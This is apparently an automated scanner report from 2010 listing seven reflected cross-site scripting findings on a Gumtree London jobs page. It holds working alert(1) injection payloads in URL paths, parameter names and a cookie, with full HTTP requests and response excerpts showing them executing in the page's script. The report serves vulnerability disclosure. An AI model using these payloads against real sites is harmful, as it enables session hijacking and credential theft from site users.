Report generated by XSS.CX at Thu Nov 25 10:09:10 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [REST URL parameter 2]

1.2. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [ceb98'-alert(1)-'84870a48f62 parameter]

1.3. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [name of an arbitrarily supplied request parameter]

1.4. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [REST URL parameter 2]

1.5. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [name of an arbitrarily supplied request parameter]

1.6. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [gt_p cookie]

1.7. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [gt_p cookie]



1. Cross-site scripting (reflected)
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1140c'-alert(1)-'aed9685c1e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-GT-httpd: b-33
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Wed, 24 Nov 2010 22:34:20 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Wed, 24 Nov 2010 22:34:21 GMT
Connection: close
Set-Cookie: gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; domain=gumtree.com; path=/
Set-Cookie: gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9%7Cssc%3AMQ%3D%3D%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl%7Crouk%3AdGVzdA%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Mon, 23-Nov-2015 22:34:20 GMT
Content-Length: 87393

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
;
if (engine_match())
{
var now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e';
var mvt_referrer = readCookie('mvt_referrer');
if (mvt_referrer && mvt_referrer != '') {
var mpvl = mvt_referrer;
createCookie('mvt_referrer','');
} else {
var mpvl = encodeURIComponent( document.re
...[SNIP]...

1.2. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [ceb98'-alert(1)-'84870a48f62 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html

Issue detail

The value of the ceb98'-alert(1)-'84870a48f62 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ba84'-alert(1)-'7478bafdab was submitted in the ceb98'-alert(1)-'84870a48f62 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=14ba84'-alert(1)-'7478bafdab HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; boomr_rt=; gt_s=1f959fb4b65b14f36c0b4ea01d1e6f0c; gt_p=1f959fb4b65b14f36c0b4ea01d1e6f0c|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sP2NlYjk4Jy1hbGVydCgxKS0nODQ4NzBhNDhmNjI9MQ==|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83NA==|rfts:MTI5MDY0ODMzMzYyMQ==

Response

HTTP/1.1 200 OK
X-GT-httpd: d-27
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 25 Nov 2010 01:01:12 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Thu, 25 Nov 2010 01:01:13 GMT
Connection: close
Set-Cookie: gt_p=1f959fb4b65b14f36c0b4ea01d1e6f0c%7Crf%3AaHR0cDovL2J1cnAvc2hvdy83NA%3D%3D%7Crouk%3AdGVzdA%3D%3D%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sP2NlYjk4Jy1hbGVydCgxKS0nODQ4NzBhNDhmNjI9MTRiYTg0Jy1hbGVydCgxKS0nNzQ3OGJhZmRhYg%3D%3D%7Cssc%3AMQ%3D%3D%7Crfts%3AMTI5MDY0ODMzMzYyMQ%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Tue, 24-Nov-2015 01:01:12 GMT
Content-Length: 87425

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
= new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=14ba84'-alert(1)-'7478bafdab';
var mvt_referrer = readCookie('mvt_referrer');
if (mvt_referrer && mvt_referrer != '') {
var mpvl = mvt_referrer;
createCookie('mvt_referrer','');
} else {
var mpvl = encodeURIComponent( document.re
...[SNIP]...

1.3. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ceb98'-alert(1)-'84870a48f62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-GT-httpd: h-31
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Wed, 24 Nov 2010 22:33:57 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Wed, 24 Nov 2010 22:33:58 GMT
Connection: close
Set-Cookie: gt_s=1f959fb4b65b14f36c0b4ea01d1e6f0c; domain=gumtree.com; path=/
Set-Cookie: gt_p=1f959fb4b65b14f36c0b4ea01d1e6f0c%7Cssc%3AMQ%3D%3D%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sP2NlYjk4Jy1hbGVydCgxKS0nODQ4NzBhNDhmNjI9MQ%3D%3D%7Crouk%3AdGVzdA%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Mon, 23-Nov-2015 22:33:57 GMT
Content-Length: 87400

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...

if (engine_match())
{
var now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1';
var mvt_referrer = readCookie('mvt_referrer');
if (mvt_referrer && mvt_referrer != '') {
var mpvl = mvt_referrer;
createCookie('mvt_referrer','');
} else {
var mpvl = encodeURIComponent( document.
...[SNIP]...

1.4. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7478d'-alert(1)-'43e190dfe7b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e7478d'-alert(1)-'43e190dfe7b HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83Mw==|rfts:MTI5MDY0ODMxMDM0Ng==

Response

HTTP/1.1 200 OK
X-GT-httpd: a-48
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 25 Nov 2010 01:01:37 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Thu, 25 Nov 2010 01:01:38 GMT
Connection: close
Set-Cookie: gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFlNzQ3OGQnLWFsZXJ0KDEpLSc0M2UxOTBkZmU3Yg%3D%3D%7Cssc%3AMQ%3D%3D%7Crf%3AaHR0cDovL2J1cnAvc2hvdy83Mw%3D%3D%7Crouk%3AdGVzdA%3D%3D%7Crfts%3AMTI5MDY0ODMxMDM0Ng%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Tue, 24-Nov-2015 01:01:37 GMT
Content-Length: 87425

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e7478d'-alert(1)-'43e190dfe7b';
var mvt_referrer = readCookie('mvt_referrer');
if (mvt_referrer && mvt_referrer != '') {
var mpvl = mvt_referrer;
createCookie('mvt_referrer','');
} else {
var mpvl = encodeURIComponent( document.re
...[SNIP]...

1.5. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15e00'-alert(1)-'b42c137b788 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e?15e00'-alert(1)-'b42c137b788=1 HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9|ssc:MQ==|rouk_chp:aHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl|rouk:dGVzdA==|rouk_chp_type:c2l0ZQ==|rouk_chp_id:MQ==|rf:aHR0cDovL2J1cnAvc2hvdy83Mw==|rfts:MTI5MDY0ODMxMDM0Ng==

Response

HTTP/1.1 200 OK
X-GT-httpd: c-34
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 25 Nov 2010 01:01:16 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Thu, 25 Nov 2010 01:01:16 GMT
Connection: close
Set-Cookie: gt_p=82ed8b59d981eafc3d1a8ce09a2e2fd9%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFlPzE1ZTAwJy1hbGVydCgxKS0nYjQyYzEzN2I3ODg9MQ%3D%3D%7Cssc%3AMQ%3D%3D%7Crf%3AaHR0cDovL2J1cnAvc2hvdy83Mw%3D%3D%7Crouk%3AdGVzdA%3D%3D%7Crfts%3AMTI5MDY0ODMxMDM0Ng%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Tue, 24-Nov-2015 01:01:16 GMT
Content-Length: 87430

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e?15e00'-alert(1)-'b42c137b788=1';
var mvt_referrer = readCookie('mvt_referrer');
if (mvt_referrer && mvt_referrer != '') {
var mpvl = mvt_referrer;
createCookie('mvt_referrer','');
} else {
var mpvl = encodeURIComponent( document.
...[SNIP]...

1.6. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html [gt_p cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html

Issue detail

The value of the gt_p cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2638"%3balert(1)//76b02ca06d1 was submitted in the gt_p cookie. This input was echoed as c2638";alert(1)//76b02ca06d1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1 HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html?ceb98'-alert(1)-'84870a48f62=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; boomr_rt=; gt_s=1f959fb4b65b14f36c0b4ea01d1e6f0c; gt_p=c2638"%3balert(1)//76b02ca06d1

Response

HTTP/1.1 200 OK
X-GT-httpd: h-39
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 25 Nov 2010 01:01:15 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Thu, 25 Nov 2010 01:01:15 GMT
Connection: close
Set-Cookie: gt_p=c2638%22%3Balert%281%29%2F%2F76b02ca06d1%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sP2NlYjk4Jy1hbGVydCgxKS0nODQ4NzBhNDhmNjI9MQ%3D%3D%7Crouk%3AdGVzdA%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Tue, 24-Nov-2015 01:01:15 GMT
Content-Length: 87395

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
on(){
$("li.adsense_ad a").each( function( i ){
this.target = "_blank";
$(this).click( function(){
(new Image).src = "http://altfarm.mediaplex.com/ad/bk/6092-31758-3840-4?LocClass-AdSenseClick=1&mpuid=c2638";alert(1)//76b02ca06d1;;;site_1;2553;2534;AFS;Repeat;;350137901";
});
});
} );
if (engine_match())
{
var now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london
...[SNIP]...

1.7. http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e [gt_p cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.gumtree.com
Path:   /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e

Issue detail

The value of the gt_p cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 150f8"%3balert(1)//ee6c1013fb8 was submitted in the gt_p cookie. This input was echoed as 150f8";alert(1)//ee6c1013fb8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e HTTP/1.1
Host: www.gumtree.com
Proxy-Connection: keep-alive
Referer: http://www.gumtree.com/london/project-management-business-consulting-jobs_659_1.html1140c'-alert(1)-'aed9685c1e
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: gumtree_ab_test_randomiser=0; pentagonaltrapezohedron=502233; EMSeen=yes; rsi_segs=; gt_s=82ed8b59d981eafc3d1a8ce09a2e2fd9; gt_p=150f8"%3balert(1)//ee6c1013fb8

Response

HTTP/1.1 200 OK
X-GT-httpd: f-53
Cache-Control: no-cache
Cache-Control: max-age=0
Pragma: no-cache
Content-Type: text/html
Expires: Thu, 25 Nov 2010 01:01:11 GMT
Server: Lighttpd
Vary: Accept-Encoding
Date: Thu, 25 Nov 2010 01:01:12 GMT
Connection: close
Set-Cookie: gt_p=150f8%22%3Balert%281%29%2F%2Fee6c1013fb8%7Crouk_chp%3AaHR0cDovL3d3dy5ndW10cmVlLmNvbS9sb25kb24vcHJvamVjdC1tYW5hZ2VtZW50LWJ1c2luZXNzLWNvbnN1bHRpbmctam9ic182NTlfMS5odG1sMTE0MGMnLWFsZXJ0KDEpLSdhZWQ5Njg1YzFl%7Crouk%3AdGVzdA%3D%3D%7Crouk_chp_type%3Ac2l0ZQ%3D%3D%7Crouk_chp_id%3AMQ%3D%3D; domain=gumtree.com; path=/; expires=Tue, 24-Nov-2015 01:01:11 GMT
Content-Length: 87407

<!DOCTYPE html><html lang="en"><head><script type="text/javascript"><!--
var t_pagestart = new Date().getTime();
//--></script><!-- test listing_design : control --><title>Consulting jobs London: Cons
...[SNIP]...
on(){
$("li.adsense_ad a").each( function( i ){
this.target = "_blank";
$(this).click( function(){
(new Image).src = "http://altfarm.mediaplex.com/ad/bk/6092-31758-3840-4?LocClass-AdSenseClick=1&mpuid=150f8";alert(1)//ee6c1013fb8;;;site_1;2553;2534;AFS;Repeat;;149337596";
});
});
} );
if (engine_match())
{
var now = new Date;
var cachebuster = now.getTime();
var mpcl = 'l-london-659-jobs-l4----1---http://www.gumtree.com/london
...[SNIP]...

Report generated by XSS.CX at Thu Nov 25 10:09:10 CST 2010.